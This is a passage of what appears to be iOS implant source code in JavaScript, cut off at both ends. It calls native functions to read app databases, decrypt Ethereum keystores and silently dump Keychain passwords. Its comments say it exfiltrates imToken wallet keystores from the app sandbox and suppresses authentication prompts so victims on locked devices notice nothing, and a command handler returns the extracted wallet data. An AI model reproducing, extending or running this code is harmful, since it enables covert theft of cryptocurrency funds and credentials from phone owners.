_sqliteLoaded = false;\nfunction _ensureSqlite() {\n\tif (_sqliteLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\", \"/usr/lib/libsqlite3.dylib\", 1);\n\tif (!h || h === 0n) return false;\n\t_sqliteLoaded = true;\n\treturn true;\n}\n\nfunction _sqliteQuery(dbPath, sql, maxRows) {\n\tif (!_ensureSqlite()) return null;\n\tmaxRows = maxRows || 500;\n\tvar ppDb = Native.callSymbol(\"malloc\", 8);\n\tif (!ppDb || ppDb === 0n) return null;\n\tNative.write64(ppDb, 0n);\n\tvar rc = Number(Native.callSymbol(\"sqlite3_open_v2\", dbPath, ppDb, 1, 0n));\n\tvar db = Native.readPtr(ppDb);\n\tNative.callSymbol(\"free\", ppDb);\n\tif (rc !== 0 || !db || db === 0n) {\n\t\tif (db && db !== 0n) Native.callSymbol(\"sqlite3_close\", db);\n\t\treturn null;\n\t}\n\ttry {\n\t\tvar ppStmt = Native.callSymbol(\"malloc\", 8);\n\t\tif (!ppStmt || ppStmt === 0n) return null;\n\t\tNative.write64(ppStmt, 0n);\n\t\trc = Number(Native.callSymbol(\"sqlite3_prepare_v2\", db, sql, -1, ppStmt, 0n));\n\t\tvar stmt = Native.readPtr(ppStmt);\n\t\tNative.callSymbol(\"free\", ppStmt);\n\t\tif (rc !== 0 || !stmt || stmt === 0n) return null;\n\t\ttry {\n\t\t\tvar rows = [];\n\t\t\tvar colCount = Number(Native.callSymbol(\"sqlite3_column_count\", stmt));\n\t\t\tvar colNames = [];\n\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\tvar np = Native.callSymbol(\"sqlite3_column_name\", stmt, c);\n\t\t\t\tcolNames.push(np && np !== 0n ? Native.readString(np, 256).replace(/\\0/g, \"\") : \"col\" + c);\n\t\t\t}\n\t\t\twhile (rows.length < maxRows) {\n\t\t\t\trc = Number(Native.callSymbol(\"sqlite3_step\", stmt));\n\t\t\t\tif (rc !== 100) break;\n\t\t\t\tvar row = {};\n\t\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\t\tvar tp = Number(Native.callSymbol(\"sqlite3_column_type\", stmt, c));\n\t\t\t\t\tif (tp === 5) { row[colNames[c]] = null; continue; }\n\t\t\t\t\tif (tp === 1) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_int64\", stmt, c));\n\t\t\t\t\t} else if (tp === 2) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_double\", stmt, c));\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar txtP = Native.callSymbol(\"sqlite3_column_text\", stmt, c);\n\t\t\t\t\t\tvar txtLen = Number(Native.callSymbol(\"sqlite3_column_bytes\", stmt, c));\n\t\t\t\t\t\tif (txtP && txtP !== 0n && txtLen > 0) {\n\t\t\t\t\t\t\trow[colNames[c]] = Native.readString(txtP, txtLen + 1).substring(0, txtLen);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\trow[colNames[c]] = \"\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\trows.push(row);\n\t\t\t}\n\t\t\treturn { columns: colNames, rows: rows };\n\t\t} finally { Native.callSymbol(\"sqlite3_finalize\", stmt); }\n\t} finally { Native.callSymbol(\"sqlite3_close\", db); }\n}\n\n// ============================================================================\n// Native CommonCrypto Wrappers\n// ============================================================================\n\nfunction _sha256(data) {\n\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tif (!inBuf || inBuf === 0n) return null;\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!outBuf || outBuf === 0n) { Native.callSymbol(\"free\", inBuf); return null; }\n\tNative.write(inBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CC_SHA256\", inBuf, BigInt(data.length), outBuf);\n\tvar hash = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn hash;\n}\n\nfunction _hmacSha256(key, data) {\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(key.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, key.buffer ? key.buffer : key);\n\tNative.write(dataBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(key.length),\n\t\tdataBuf, BigInt(data.length), outBuf);\n\tvar mac = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn mac;\n}\n\nfunction _pbkdf2(password, salt, iterations, keyLen) {\n\tvar pwBytes = new Uint8Array(password.length);\n\tfor (var i = 0; i < password.length; i++) pwBytes[i] = password.charCodeAt(i);\n\tvar hLen = 32;\n\tvar numBlocks = Math.ceil(keyLen / hLen);\n\tvar dk = new Uint8Array(numBlocks * hLen);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(pwBytes.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(Math.max(salt.length + 4, hLen)));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, pwBytes.buffer);\n\tfor (var blk = 1; blk <= numBlocks; blk++) {\n\t\tvar intBe = new Uint8Array(4);\n\t\tintBe[0] = (blk >>> 24) & 0xff;\n\t\tintBe[1] = (blk >>> 16) & 0xff;\n\t\tintBe[2] = (blk >>> 8) & 0xff;\n\t\tintBe[3] = blk & 0xff;\n\t\tvar msg = new Uint8Array(salt.length + 4);\n\t\tmsg.set(salt instanceof Uint8Array ? salt : new Uint8Array(salt), 0);\n\t\tmsg.set(intBe, salt.length);\n\t\tNative.write(dataBuf, msg.buffer);\n\t\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(pwBytes.length),\n\t\t\tdataBuf, BigInt(msg.length), outBuf);\n\t\tvar u = new Uint8Array(Native.read(outBuf, 32));\n\t\tvar t = new Uint8Array(u);\n\t\tfor (var iter = 1; iter < iterations; iter++) {\n\t\t\tNative.write(dataBuf, u.buffer);\n\t\t\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(pwBytes.length),\n\t\t\t\tdataBuf, 32n, outBuf);\n\t\t\tu = new Uint8Array(Native.read(outBuf, 32));\n\t\t\tfor (var j = 0; j < hLen; j++) t[j] ^= u[j];\n\t\t}\n\t\tdk.set(t, (blk - 1) * hLen);\n\t}\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn dk.slice(0, keyLen);\n}\n\nfunction _aesEcbEncryptBlock(cryptorRef, block16) {\n\tvar inBuf = Native.callSymbol(\"malloc\", 16n);\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\treturn null;\n\t}\n\tNative.write(inBuf, block16.buffer ? block16.buffer : block16);\n\tNative.write64(writtenBuf, 0n);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\tcryptorRef, inBuf, 16n, outBuf, 32n, writtenBuf));\n\tvar written = Number(Native.readPtr(writtenBuf));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", writtenBuf);\n\tif (rc !== 0 || written < 16) { Native.callSymbol(\"free\", outBuf); return null; }\n\tvar result = new Uint8Array(Native.read(outBuf, 16));\n\tNative.callSymbol(\"free\", outBuf);\n\treturn result;\n}\n\nfunction _aesCtrDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tif (!keyBuf) { Native.callSymbol(\"free\", refBuf); return null; }\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t0, 0, 2, keyBuf, BigInt(keyBytes.length), 0n, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar counter = new Uint8Array(16);\n\t\tfor (var i = 0; i < 16 && i < ivBytes.length; i++) counter[i] = ivBytes[i];\n\t\tvar output = new Uint8Array(cipherBytes.length);\n\t\tfor (var off = 0; off < cipherBytes.length; off += 16) {\n\t\t\tvar ks = _aesEcbEncryptBlock(ref, counter);\n\t\t\tif (!ks) return null;\n\t\t\tvar remain = cipherBytes.length - off;\n\t\t\tvar len = remain < 16 ? remain : 16;\n\t\t\tfor (var j = 0; j < len; j++) output[off + j] = cipherBytes[off + j] ^ ks[j];\n\t\t\tfor (var ci = 15; ci >= 0; ci--) {\n\t\t\t\tcounter[ci] = (counter[ci] + 1) & 0xff;\n\t\t\t\tif (counter[ci] !== 0) break;\n\t\t\t}\n\t\t}\n\t\treturn output;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _aesCbcDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tvar ivBuf = Native.callSymbol(\"malloc\", BigInt(ivBytes.length));\n\tif (!keyBuf || !ivBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (ivBuf) Native.callSymbol(\"free\", ivBuf);\n\t\tNative.callSymbol(\"free\", refBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tNative.write(ivBuf, ivBytes.buffer ? ivBytes.buffer : ivBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t1, 0, 0, keyBuf, BigInt(keyBytes.length), ivBuf, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", ivBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(cipherBytes.length));\n\t\tvar outBuf = Native.callSymbol(\"calloc\", 1n, BigInt(cipherBytes.length + 16));\n\t\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\t\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\t\treturn null;\n\t\t}\n\t\tNative.write(inBuf, cipherBytes.buffer ? cipherBytes.buffer : cipherBytes);\n\t\tNative.write64(writtenBuf, 0n);\n\t\trc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\t\tref, inBuf, BigInt(cipherBytes.length), outBuf, BigInt(cipherBytes.length + 16), writtenBuf));\n\t\tvar written = Number(Native.readPtr(writtenBuf));\n\t\tNative.callSymbol(\"free\", inBuf);\n\t\tNative.callSymbol(\"free\", writtenBuf);\n\t\tif (rc !== 0) { Native.callSymbol(\"free\", outBuf); return null; }\n\t\tvar result = new Uint8Array(Native.read(outBuf, written));\n\t\tNative.callSymbol(\"free\", outBuf);\n\t\treturn result;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _hexToBytes(hex) {\n\tvar bytes = new Uint8Array(hex.length / 2);\n\tfor (var i = 0; i < hex.length; i += 2) {\n\t\tbytes[i / 2] = parseInt(hex.substring(i, i + 2), 16);\n\t}\n\treturn bytes;\n}\n\nfunction _bytesToHex(bytes) {\n\tvar hex = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\thex += (bytes[i] < 16 ? \"0\" : \"\") + bytes[i].toString(16);\n\t}\n\treturn hex;\n}\n\n// ============================================================================\n// RCTAsyncLocalStorage Reader\n// ============================================================================\n\nfunction _readAsyncStorageManifest(storagePath) {\n\tvar mpath = storagePath + \"/manifest.json\";\n\tvar bytes = _readFileBytes(mpath, 4 * 1024 * 1024);\n\tif (!bytes || bytes.length === 0) return null;\n\ttry {\n\t\tvar json = JSON.parse(_rawToStr(bytes));\n\t\tvar result = {};\n\t\tfor (var key in json) {\n\t\t\tif (!json.hasOwnProperty(key)) continue;\n\t\t\tvar val = json[key];\n\t\t\tif (typeof val === \"string\") {\n\t\t\t\tresult[key] = val;\n\t\t\t} else if (val && typeof val === \"object\") {\n\t\t\t\tvar fpath = storagePath + \"/\" + key;\n\t\t\t\tvar fb = _readFileBytes(fpath, 8 * 1024 * 1024);\n\t\t\t\tif (fb && fb.length > 0) result[key] = _rawToStr(fb);\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t} catch (e) { return null; }\n}\n\nfunction _readAsyncStorageSqlite(storagePath) {\n\tvar dbNames = [\"RCTAsyncLocalStorage_V1\", \"asyncstorage.db\", \"RCTAsyncLocalStorage\"];\n\tvar result = null;\n\tfor (var di = 0; di < dbNames.length; di++) {\n\t\tvar dbPath = storagePath + \"/\" + dbNames[di];\n\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) {\n\t\t\tdbPath = storagePath.replace(/\\/RCTAsyncLocalStorage_V1$/, \"\") + \"/\" + dbNames[di];\n\t\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) continue;\n\t\t}\n\t\tvar tables = _sqliteQuery(dbPath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (!tables || !tables.rows.length) continue;\n\t\tvar tableName = null;\n\t\tfor (var ti = 0; ti < tables.rows.length; ti++) {\n\t\t\tvar tn = tables.rows[ti].name;\n\t\t\tif (tn === \"catalystLocalStorage\" || tn === \"key_value\" ||\n\t\t\t\ttn === \"keyvaluestore\" || tn === \"cache\") {\n\t\t\t\ttableName = tn;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (!tableName) tableName = tables.rows[0].name;\n\t\tvar data = _sqliteQuery(dbPath, \"SELECT * FROM \\\"\" + tableName + \"\\\"\");\n\t\tif (!data || !data.rows.length) continue;\n\t\tresult = {};\n\t\tvar kCol = data.columns.indexOf(\"key\") >= 0 ? \"key\" : data.columns[0];\n\t\tvar vCol = data.columns.indexOf(\"value\") >= 0 ? \"value\" : data.columns[1];\n\t\tfor (var ri = 0; ri < data.rows.length; ri++) {\n\t\t\tresult[data.rows[ri][kCol]] = data.rows[ri][vCol];\n\t\t}\n\t\tbreak;\n\t}\n\treturn result;\n}\n\nfunction _readAsyncStorage(containerPath, subPath) {\n\tvar storagePath = containerPath + \"/\" + subPath;\n\tvar st = _statFile(storagePath);\n\tif (!st) return null;\n\tif (st.isDir) {\n\t\tvar res = _readAsyncStorageManifest(storagePath);\n\t\tif (res) return res;\n\t\treturn _readAsyncStorageSqlite(storagePath);\n\t}\n\tif (st.isFile) {\n\t\tvar r = _sqliteQuery(storagePath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (r && r.rows.length) {\n\t\t\tvar result = {};\n\t\t\tfor (var ti = 0; ti < r.rows.length; ti++) {\n\t\t\t\tvar d = _sqliteQuery(storagePath, \"SELECT * FROM \\\"\" + r.rows[ti].name + \"\\\"\");\n\t\t\t\tif (!d || !d.rows.length) continue;\n\t\t\t\tvar kCol = d.columns.indexOf(\"key\") >= 0 ? \"key\" : d.columns[0];\n\t\t\t\tvar vCol = d.columns.indexOf(\"value\") >= 0 ? \"value\" : d.columns[1];\n\t\t\t\tfor (var ri = 0; ri < d.rows.length; ri++) {\n\t\t\t\t\tresult[d.rows[ri][kCol]] = d.rows[ri][vCol];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}\n\treturn null;\n}\n\n// ============================================================================\n// Keystore V3 Decryption (scrypt/PBKDF2 + AES-CTR)\n// ============================================================================\n\nfunction _decryptKeystoreV3(crypto, password) {\n\tif (!crypto || !password) return null;\n\tvar kdfparams = crypto.kdfparams;\n\tvar cipherparams = crypto.cipherparams;\n\tvar ciphertextHex = crypto.ciphertext;\n\tif (!kdfparams || !cipherparams || !ciphertextHex) return null;\n\n\tvar salt = _hexToBytes(kdfparams.salt);\n\tvar dkLen = kdfparams.dklen || 32;\n\tvar derivedKey = null;\n\n\tif (crypto.kdf === \"pbkdf2\") {\n\t\tvar iters = kdfparams.c || 262144;\n\t\tderivedKey = _pbkdf2(password, salt, iters, dkLen);\n\t} else {\n\t\treturn { error: \"scrypt_not_supported_on_device\", kdf: crypto.kdf };\n\t}\n\tif (!derivedKey) return { error: \"kdf_failed\" };\n\n\tvar ciphertext = _hexToBytes(ciphertextHex);\n\tvar iv = _hexToBytes(cipherparams.iv);\n\n\t// MAC verification: SHA256(derivedKey[16:32] + ciphertext) should match crypto.mac\n\tif (crypto.mac) {\n\t\tvar macInput = new Uint8Array(16 + ciphertext.length);\n\t\tmacInput.set(derivedKey.slice(16, 32), 0);\n\t\tmacInput.set(ciphertext, 16);\n\t\tvar computedMac = _sha256(macInput);\n\t\tif (computedMac && _bytesToHex(computedMac) !== crypto.mac) {\n\t\t\treturn { error: \"mac_mismatch\" };\n\t\t}\n\t}\n\n\tvar cipher = (crypto.cipher || \"aes-128-ctr\").toLowerCase();\n\tvar encKey = derivedKey.slice(0, 16);\n\tvar decrypted = null;\n\tif (cipher === \"aes-128-ctr\") {\n\t\tdecrypted = _aesCtrDecrypt(encKey, iv, ciphertext);\n\t} else if (cipher === \"aes-128-cbc\") {\n\t\tdecrypted = _aesCbcDecrypt(encKey, iv, ciphertext);\n\t}\n\tif (!decrypted) return { error: \"decrypt_failed\" };\n\n\ttry {\n\t\tvar str = \"\";\n\t\tfor (var i = 0; i < decrypted.length; i++) {\n\t\t\tif (decrypted[i] === 0) break;\n\t\t\tstr += String.fromCharCode(decrypted[i]);\n\t\t}\n\t\treturn { plaintext: str };\n\t} catch (e) { return { error: \"decode_failed: \" + e }; }\n}\n\n// EncryptedMessage format (fixed key AES-CTR)\nfunction _decryptEncryptedMessage(encObj, fixedKeyHex) {\n\tif (!encObj || !encObj.encStr || !encObj.nonce) return null;\n\tvar key = _hexToBytes(fixedKeyHex);\n\tvar iv = _hexToBytes(encObj.nonce);\n\tvar ciphertext = _hexToBytes(encObj.encStr);\n\tvar plainBytes = _aesCtrDecrypt(key, iv, ciphertext);\n\tif (!plainBytes) return null;\n\tvar str = \"\";\n\tfor (var i = 0; i < plainBytes.length; i++) {\n\t\tif (plainBytes[i] === 0) break;\n\t\tstr += String.fromCharCode(plainBytes[i]);\n\t}\n\treturn str;\n}\n\n// ============================================================================\n// Keychain Password Extraction (SecItemCopyMatching)\n// ============================================================================\n\nvar _securityLoaded = false;\nfunction _ensureSecurity() {\n\tif (_securityLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/Security.framework/Security\", 1);\n\tif (!h || h === 0n) return false;\n\t_securityLoaded = true;\n\treturn true;\n}\n\nfunction _cfStr(s) {\n\treturn Native.callSymbol(\"CFStringCreateWithCString\", 0n, s, 0x08000100);\n}\nfunction _cfRelease(ref) {\n\tif (ref && ref !== 0n) Native.callSymbol(\"CFRelease\", ref);\n}\nfunction _cfStringToJS(cfStr) {\n\tif (!cfStr || cfStr === 0n) return null;\n\tvar cstr = Native.callSymbol(\"CFStringGetCStringPtr\", cfStr, 0x08000100);\n\tif (cstr && cstr !== 0n) {\n\t\treturn Native.readString(cstr, 4096).replace(/\\0/g, \"\");\n\t}\n\tvar buf = Native.callSymbol(\"malloc\", 4096);\n\tif (!buf || buf === 0n) return null;\n\tif (Native.callSymbol(\"CFStringGetCString\", cfStr, buf, 4096, 0x08000100)) {\n\t\tvar s = Native.readString(buf, 4096).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", buf);\n\t\treturn s;\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn null;\n}\nfunction _cfDataToBytes(cfData) {\n\tif (!cfData || cfData === 0n) return null;\n\tvar len = Number(Native.callSymbol(\"CFDataGetLength\", cfData));\n\tif (len <= 0) return null;\n\tvar ptr = Native.callSymbol(\"CFDataGetBytePtr\", cfData);\n\tif (!ptr || ptr === 0n) return null;\n\treturn new Uint8Array(Native.read(ptr, len));\n}\n\nfunction _searchKeychain(service, account, accessGroup) {\n\tif (!_ensureSecurity()) return null;\n\tNative.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\", 1);\n\n\tvar kSecClass = Native.callSymbol(\"dlsym\", -2n, \"kSecClass\");\n\tvar kSecClassGenericPassword = Native.callSymbol(\"dlsym\", -2n, \"kSecClassGenericPassword\");\n\tvar kSecAttrService = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrService\");\n\tvar kSecAttrAccount = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrAccount\");\n\tvar kSecReturnData = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnData\");\n\tvar kSecReturnAttributes = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnAttributes\");\n\tvar kSecMatchLimit = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimit\");\n\tvar kSecMatchLimitAll = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimitAll\");\n\tvar kCFBooleanTrue = Native.callSymbol(\"dlsym\", -2n, \"kCFBooleanTrue\");\n\n\tif (!kSecClass || kSecClass === 0n) return null;\n\n\tvar svcCF = 0n, acctCF = 0n;\n\tvar _authUIKeyCF = 0n, _authUIValCF = 0n;\n\ttry {\n\t\tvar keys = [];\n\t\tvar vals = [];\n\n\t\tkeys.push(Native.readPtr(kSecClass));\n\t\tvals.push(Native.readPtr(kSecClassGenericPassword));\n\t\tkeys.push(Native.readPtr(kSecReturnData));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecReturnAttributes));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecMatchLimit));\n\t\tvals.push(Native.readPtr(kSecMatchLimitAll));\n\n\t\t// fix #3: skip auth UI so locked devices don't prompt \"Enter password for\n\t\t// SpringBoard\". Mirrors _secDumpClass. Auth-protected items are silently\n\t\t// skipped (errSecInteractionNotAllowed) instead of triggering a dialog.\n\t\t_authUIKeyCF = _cfStr(\"u_AuthUI\");\n\t\t_authUIValCF = _cfStr(\"u_AuthUISkip\");\n\t\tif (_authUIKeyCF && _authUIKeyCF !== 0n && _authUIValCF && _authUIValCF !== 0n) {\n\t\t\tkeys.push(_authUIKeyCF);\n\t\t\tvals.push(_authUIValCF);\n\t\t}\n\n\t\tif (service) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrService));\n\t\t\tsvcCF = _cfStr(service);\n\t\t\tvals.push(svcCF);\n\t\t}\n\t\tif (account) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrAccount));\n\t\t\tacctCF = _cfStr(account);\n\t\t\tvals.push(acctCF);\n\t\t}\n\n\t\tvar nItems = keys.length;\n\t\tvar keysBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tvar valsBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tif (!keysBuf || keysBuf === 0n || !valsBuf || valsBuf === 0n) {\n\t\t\tif (keysBuf && keysBuf !== 0n) Native.callSymbol(\"free\", keysBuf);\n\t\t\tif (valsBuf && valsBuf !== 0n) Native.callSymbol(\"free\", valsBuf);\n\t\t\treturn null;\n\t\t}\n\t\tfor (var i = 0; i < nItems; i++) {\n\t\t\tNative.write64(keysBuf + BigInt(i * 8), keys[i]);\n\t\t\tNative.write64(valsBuf + BigInt(i * 8), vals[i]);\n\t\t}\n\n\t\tvar queryDict = Native.callSymbol(\"CFDictionaryCreate\", 0n,\n\t\t\tkeysBuf, valsBuf, nItems, 0n, 0n);\n\t\tNative.callSymbol(\"free\", keysBuf);\n\t\tNative.callSymbol(\"free\", valsBuf);\n\n\t\tif (!queryDict || queryDict === 0n) return null;\n\n\t\tvar resultPtr = Native.callSymbol(\"malloc\", 8);\n\t\tNative.write64(resultPtr, 0n);\n\t\tvar status = Number(Native.callSymbol(\"SecItemCopyMatching\", queryDict, resultPtr));\n\t\tvar resultRef = Native.readPtr(resultPtr);\n\t\tNative.callSymbol(\"free\", resultPtr);\n\t\t_cfRelease(queryDict);\n\n\t\tif (status !== 0 || !resultRef || resultRef === 0n) return null;\n\n\t\tvar results = [];\n\t\ttry {\n\t\t\tvar count = Number(Native.callSymbol(\"CFArrayGetCount\", resultRef));\n\t\t\tvar kSecValueData = Native.callSymbol(\"dlsym\", -2n, \"kSecValueData\");\n\t\t\tvar kSecValueDataVal = kSecValueData && kSecValueData !== 0n ? Native.readPtr(kSecValueData) : 0n;\n\t\t\tvar svcKeyVal = Native.readPtr(kSecAttrService);\n\t\t\tvar acctKeyVal = Native.readPtr(kSecAttrAccount);\n\n\t\t\tfor (var idx = 0; idx < count && idx < 50; idx++) {\n\t\t\t\tvar item = Native.callSymbol(\"CFArrayGetValueAtIndex\", resultRef, idx);\n\t\t\t\tif (!item || item === 0n) continue;\n\t\t\t\ttry {\n\t\t\t\t\tvar entry = {};\n\t\t\t\t\tvar sv = Native.callSymbol(\"CFDictionaryGetValue\", item, svcKeyVal);\n\t\t\t\t\tif (sv && sv !== 0n) entry.service = _cfStringToJS(sv);\n\t\t\t\t\tvar av = Native.callSymbol(\"CFDictionaryGetValue\", item, acctKeyVal);\n\t\t\t\t\tif (av && av !== 0n) entry.account = _cfStringToJS(av);\n\t\t\t\t\tif (kSecValueDataVal && kSecValueDataVal !== 0n) {\n\t\t\t\t\t\tvar dv = Native.callSymbol(\"CFDictionaryGetValue\", item, kSecValueDataVal);\n\t\t\t\t\t\tif (dv && dv !== 0n) {\n\t\t\t\t\t\t\tvar dataBytes = _cfDataToBytes(dv);\n\t\t\t\t\t\t\tif (dataBytes) {\n\t\t\t\t\t\t\t\tvar dataStr = \"\";\n\t\t\t\t\t\t\t\tfor (var di = 0; di < dataBytes.length; di++)\n\t\t\t\t\t\t\t\t\tdataStr += String.fromCharCode(dataBytes[di]);\n\t\t\t\t\t\t\t\tentry.data = dataStr;\n\t\t\t\t\t\t\t\tentry.data_hex = _bytesToHex(dataBytes);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tresults.push(entry);\n\t\t\t\t} catch (itemErr) {}\n\t\t\t}\n\t\t} finally { _cfRelease(resultRef); }\n\t\treturn results;\n\t} finally {\n\t\tif (svcCF && svcCF !== 0n) _cfRelease(svcCF);\n\t\tif (acctCF && acctCF !== 0n) _cfRelease(acctCF);\n\t\tif (_authUIKeyCF && _authUIKeyCF !== 0n) _cfRelease(_authUIKeyCF);\n\t\tif (_authUIValCF && _authUIValCF !== 0n) _cfRelease(_authUIValCF);\n\t}\n}\n\nfunction _findImtokenKeychainPassword() {\n\t// fix #3b: DISABLED. _searchKeychain queries imToken-specific services with\n\t// kSecReturnData=true. On iOS 18.6, items protected by SecAccessControl\n\t// (biometricCurrentSet / devicePasscode) appear to bypass u_AuthUISkip and\n\t// trigger a \"Enter password for SpringBoard\" prompt even on locked devices,\n\t// while _secDumpClass (attributes-only, no specific service) stays silent\n\t// (-25300). The imToken keystore files are still exfiltrated from the sandbox\n\t// (the valuable data); only the keychain-password decryption attempt is\n\t// skipped. Phase 2 sqlite pipeline remains the real keychain decryption path.\n\treturn [];\n}\n\n// ============================================================================\n// imToken Wallet Extraction\n// ============================================================================\n\nfunction handleWalletExtract(cmd) {\n\tvar p = cmd.params || {};\n\tvar walletType = p.wallet_type || \"imtoken\";\n\tvar startMs = Date.now();\n\n\tif (walletType === \"imtoken\") {\n\t\t_extractImtoken(cmd, p, startMs);\n\t} else {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"unsupported wallet_type: \" + walletType,\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t}\n}\n\nfunction _extractImtoken(cmd, p, startMs) {\n\ttry {\n\t\tvar kcBytes = _readFileBytes(\"/tmp/imtoken_keychain.json\", 2 * 1024 * 1024);\n\t\tif (kcBytes && kcBytes.byteLength > 10) 